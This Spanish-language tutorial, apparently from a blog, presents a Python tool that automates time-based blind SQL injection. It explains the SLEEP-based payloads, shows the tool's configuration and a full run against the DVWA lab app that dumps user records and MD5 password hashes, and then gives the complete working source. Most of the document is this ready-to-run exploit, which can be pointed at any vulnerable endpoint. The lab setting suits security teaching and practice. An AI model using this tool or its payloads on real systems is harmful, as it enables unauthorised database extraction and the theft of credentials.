Introducción
Una inyección SQL ciega (blind SQL injection) es un tipo de ataque de inyección SQL en el que un atacante intenta ejecutar comandos SQL en una base de datos sin recibir retroalimentación directa sobre los resultados de las consultas. Sin embargo, los atacantes pueden inferir información útil observando el comportamiento de la aplicación o el tiempo de respuesta. En este caso se va a utilizar la técnica basada en tiempo, aunque también existe la basada en booleanos.
Aquí, el atacante introduce una consulta SQL que hace que la base de datos espere un cierto tiempo antes de responder. Si la aplicación tarda más tiempo en responder, el atacante puede inferir que la inyección fue exitosa. Por ejemplo, un atacante podría intentar:
' OR IF(1=1, SLEEP(5), 0) --
Si la aplicación tarda 5 segundos en responder, el atacante puede concluir que la condición fue verdadera. Ya que en este caso se está comparando que el entero ‘1’ es igual a ‘1’, lo cuál es cierto, por lo que como la condición es exitosa se suspende la ejecución de programa por 5 segundos.
Se ha desarrollado un programa en el lenguaje Python, que dado un punto vulnerable y una serie de parámetros se automatiza el ataque, extrayendo la versión de base de datos MySQL utilizada, el nombre de la base de datos MySQL utilizada, y el contenido de sus tablas, con sus filas y columnas. Para probar el programa se va a utilizar la aplicación vulnerable DVWA en su apartado SQL Injection (Blind).
Uso de Auto blindSQLi
Antes de iniciar la aplicación, es necesario configurar una serie de parámetros que se encuentran al inicio del código fuente. El primero de ellos es SQL_ENDPOINT y se trata de la dirección del punto vulnerable. En este caso es un servidor local en el puerto 1337.
SQLI_ENDPOINT = 'http://127.0.0.1:1337/vulnerabilities/sqli_blind/'
El siguiente es METHOD_TO_USE, con el método de la petición HTTP a utilizar, en este caso GET, como alternativa se puede utilizar el método POST.
METHOD_TO_USE = 'GET'
A continuación se especifican los parámetros de la petición GET o los datos del formulario de la petición POST con la variable PARAMS.
PARAMS = {
'id': '1',
'Submit': 'Submit'
}
Luego es necesario especificar VULNERABLE_PARAM con el parámetro vulnerable a la inyección SQL.
VULNERABLE_PARAM = 'id'
Si es necesario añadir el uso de cookies se pueden especificar con la variable diccionario COOKIES, si no es el caso, se puede dejar la variable vacía ({}). En este caso es necesario tener una sesión iniciada.
COOKIES = {
'security': 'low',
'PHPSESSID': '0s5sno9fenb6u7ld53t73f0sd6'
}
Según como se haya programado la aplicación web la consulta SQL base SQL a inyectar puede variar. En este caso con la variable BASE_SQL_QUERY cerramos la variable de la consulta original con un ‘1’ (1') y añadimos la sentencia condicional común en la que con la variable {command} nos referimos a la consulta a realizar, con la variable {comparision} nos referimos al valor a comparar y con la variable {time_to_wait} nos referimos al tiempo a esperar si la comparación es positiva. Finalmente con el carácter # se comenta el resto de la consulta original. Ésta sería la inyección.
1' AND IF (command=comparision, SLEEP(time_to_wait), 'false') #
Y ésta sería la variable a establecer.
BASE_SQL_QUERY = '1\' AND IF ({command}={comparision}, SLEEP({time_to_wait}), \'false\') #'
Con la variable TIME_TO_WAIT nos referimos al tiempo a esperar si la comparación es positiva. En este caso son 0,05 segundos, un valor muy bajo ya que vamos a utilizar un servidor local. En el caso de que el tiempo de respuesta de las comparación negativas sea más alto que este valor se obtendrán resultados erróneos. Por lo que es útil ir variando este valor al observar un tiempo de espera estable.
TIME_TO_WAIT = 0.05
Finalmente, con MAX_LENGTH establecemos la longitud máxima de una cadena en hexadecimal, en este caso 0x100.
MAX_LENGTH = 0x100
En esta primera versión se obtienen tanto números enteros, como cadenas de la base de datos. Este es un ejemplo de su ejecución. Al acabar su ejecución se imprime por pantalla una representación de la base de datos en formato CSV y en formato JSON.
$ python blind_sql.py
Database version: 10.1.26-MariaDB-0+deb9u1
Database name: dvwa
Tables: ['guestbook', 'users']
Columns of table guestbook: ['comment_id', 'comment', 'name']
Columns of table users: ['user_id', 'first_name', 'last_name', 'user', 'password', 'avatar', 'last_login', 'failed_login']
Number of requests made: 29448
--- CSV TABLE START ---
TABLE guestbook
comment_id,comment,name,
1,THIS IS A TEST COMMENT.,TEST,
TABLE users
user_id,first_name,last_name,user,password,avatar,last_login,failed_login,
1,ADMIN,ADMIN,ADMIN,5F4DCC3B5AA765D61D8327DEB882CF99,/HACKABLE/USERS/ADMIN.JPG,2024-05-31 00:05:49,0,
2,GORDON,BROWN,GORDONB,E99A18C428CB38D5F260853678922E03,/HACKABLE/USERS/GORDONB.JPG,2024-05-31 00:05:49,0,
3,HACK,ME,1337,8D3533D75AE2C3966D7E0D4FCC69216B,/HACKABLE/USERS/1337.JPG,2024-05-31 00:05:49,0,
4,PABLO,PICASSO,PABLO,0D107D09F5BBE40CADE3DE5C71E9E9B7,/HACKABLE/USERS/PABLO.JPG,2024-05-31 00:05:49,0,
5,BOB,SMITH,SMITHY,5F4DCC3B5AA765D61D8327DEB882CF99,/HACKABLE/USERS/SMITHY.JPG,2024-05-31 00:05:49,0,
--- CSV TABLE STOP ---
--- JSON DATA START ---
{"version": "10.1.26-MariaDB-0+deb9u1", "name": "dvwa", "tables": [{"name": "guestbook", "columns": ["comment_id", "comment", "name"], "values": [{"name": "comment_id", "values": ["1"]}, {"name": "comment", "values": ["THIS IS A TEST COMMENT."]}, {"name": "name", "values": ["TEST"]}]}, {"name": "users", "columns": ["user_id", "first_name", "last_name", "user", "password", "avatar", "last_login", "failed_login"], "values": [{"name": "user_id", "values": ["1", "2", "3", "4", "5"]}, {"name": "first_name", "values": ["ADMIN", "GORDON", "HACK", "PABLO", "BOB"]}, {"name": "last_name", "values": ["ADMIN", "BROWN", "ME", "PICASSO", "SMITH"]}, {"name": "user", "values": ["ADMIN", "GORDONB", "1337", "PABLO", "SMITHY"]}, {"name": "password", "values": ["5F4DCC3B5AA765D61D8327DEB882CF99", "E99A18C428CB38D5F260853678922E03", "8D3533D75AE2C3966D7E0D4FCC69216B", "0D107D09F5BBE40CADE3DE5C71E9E9B7", "5F4DCC3B5AA765D61D8327DEB882CF99"]}, {"name": "avatar", "values": ["/HACKABLE/USERS/ADMIN.JPG", "/HACKABLE/USERS/GORDONB.JPG", "/HACKABLE/USERS/1337.JPG", "/HACKABLE/USERS/PABLO.JPG", "/HACKABLE/USERS/SMITHY.JPG"]}, {"name": "last_login", "values": ["2024-05-31 00:05:49", "2024-05-31 00:05:49", "2024-05-31 00:05:49", "2024-05-31 00:05:49", "2024-05-31 00:05:49"]}, {"name": "failed_login", "values": ["0", "0", "0", "0", "0"]}]}]}
--- JSON DATA STOP ---
Código fuente
import json
import requests
# Configuration
SQLI_ENDPOINT = 'http://127.0.0.1:13337/vulnerabilities/sqli_blind/'
METHOD_TO_USE = 'GET'
PARAMS = {
'id': '1',
'Submit': 'Submit'
}
VULNERABLE_PARAM = 'id'
COOKIES = {
'security': 'low',
'PHPSESSID': '0s5sno9fenb6u7ld53t73f0sd6'
}
BASE_SQL_QUERY = '1\' AND IF ({command}={comparision}, SLEEP({time_to_wait}), \'false\') #'
TIME_TO_WAIT = 0.05
MAX_LENGTH = 0x100
# Request counter
global REQUESTS_NR
REQUESTS_NR = 0
# Used SQL queries
SELECT_QUERY_BASE = 'SELECT {column_name} FROM {db_name}.{table_name} {condition} {limit}'
FIRST_CONDITION_BASE = 'WHERE {first_condition_name}=\'{first_condition_value}\''
AND_CONDITION_BASE = ' AND {and_condition_name}=\'{and_condition_value}\''
LIMIT_BASE = 'LIMIT {number},1'
def send_sql_injection(command, comparision):
global REQUESTS_NR
PARAMS[VULNERABLE_PARAM] = BASE_SQL_QUERY.format(command=command, comparision=comparision, time_to_wait=TIME_TO_WAIT)
REQUESTS_NR += 1
if METHOD_TO_USE == 'GET':
req = requests.get(SQLI_ENDPOINT, params=PARAMS, cookies=COOKIES)
elif METHOD_TO_USE == 'POST':
req = requests.post(SQLI_ENDPOINT, data=PARAMS, cookies=COOKIES)
return req.elapsed.total_seconds()
def get_command_length(command):
length = 0
for char in range(0x0, MAX_LENGTH, 0x1):
char = str(hex(char))
elapsed_time = send_sql_injection('LENGTH(' + command + ')', char)
if elapsed_time > TIME_TO_WAIT:
length = int(char, 16)
break
return length
def get_command_string_char(command, index, use_collation):
collation = ' COLLATE utf8_bin' if use_collation else ''
for char in range(0x20, 0x7F, 0x1):
char = str(hex(char))
elapsed_time = send_sql_injection('SUBSTRING(' + command + ', ' + index + ', 1)' + collation, char)
if elapsed_time > TIME_TO_WAIT:
return chr(int(char, 16))
def get_command_string(command, length, use_collation):
string = ''
for index in range(1, length + 1, 1):
index = str(index)
# The collation can be used incorrectly (not for ints), so negate it
try:
string += get_command_string_char(command, index, use_collation)
except TypeError:
use_collation = not(use_collation)
string += get_command_string_char(command, index, use_collation)
return string
def get_command(command, use_collation):
length = get_command_length(command)
return get_command_string(command, length, use_collation)
def get_db_version():
return get_command('VERSION()', True)
def get_used_db_name():
return get_command('DATABASE()', True)
def get_rows_of_column(column_name, db_name, table_name, conditions):
rows = []
select_conditions = ''
condition_nr = 0
for condition in conditions:
if condition_nr < 1:
select_conditions += FIRST_CONDITION_BASE.format(first_condition_name=condition['name'], first_condition_value=condition['value'])
else:
select_conditions += AND_CONDITION_BASE.format(and_condition_name=condition['name'], and_condition_value=condition['value'])
condition_nr += 1
command = '(' + SELECT_QUERY_BASE.format(column_name='COUNT('+column_name+')', db_name=db_name, table_name=table_name,
condition=select_conditions, limit='') + ')'
nr_of_rows = int(get_command(command, False))
for row_nr in range(0, nr_of_rows, 1):
command = '(' + SELECT_QUERY_BASE.format(column_name=column_name, db_name=db_name, table_name=table_name,
condition=select_conditions, limit=LIMIT_BASE.format(number=row_nr)) + ')'
rows.append(get_command(command, True))
return rows
def get_table_names(db_name):
conditions = []
condition_one = {}
condition_one['name'] = 'TABLE_SCHEMA'
condition_one['value'] = db_name
conditions.append(condition_one)
return get_rows_of_column('TABLE_NAME', 'information_schema', 'TABLES', conditions)
def get_column_names(db_name, table_name):
conditions = []
condition_one = {}
condition_one['name'] = 'TABLE_SCHEMA'
condition_one['value'] = db_name
condition_two = {}
condition_two['name'] = 'TABLE_NAME'
condition_two['value'] = table_name
conditions.append(condition_one)
conditions.append(condition_two)
return get_rows_of_column('COLUMN_NAME', 'information_schema', 'COLUMNS', conditions)
db = {}
db['version'] = get_db_version() # '10.1.26-MariaDB-0+deb9u1'
print('Database version: ' + db['version'])
db['name'] = get_used_db_name() # 'dvwa'
print('Database name: ' + db['name'])
db['tables'] = []
tables = get_table_names(db['name']) # ['guestbook', 'users']
print('Tables: ' + str(tables))
for table_name in tables:
table = {}
table['name'] = table_name
table['columns'] = get_column_names(db['name'], table_name)
db['tables'].append(table)
print('Columns of table ' + table_name + ': ' + str(table['columns']))
for table in db['tables']:
table['values'] = []
for column in table['columns']:
value = {}
value['name'] = column
value['values'] = get_rows_of_column(column, db['name'], table['name'], [])
table['values'].append(value)
print('Number of requests made: ' + str(REQUESTS_NR))
print('--- CSV TABLE START ---')
for table in db['tables']:
print('TABLE ' + table['name'])
rows_nr = len(table['values'][0]['values'])
for column in table['columns']:
print(column, end=',')
print()
for row in range(0, rows_nr, 1):
for column in table['columns']:
for value in table['values']:
if value['name'] == column:
print(value['values'][row], end=',')
print()
print('--- CSV TABLE STOP ---')
print('--- JSON DATA START ---')
print(json.dumps(db))
print('--- JSON DATA STOP ---')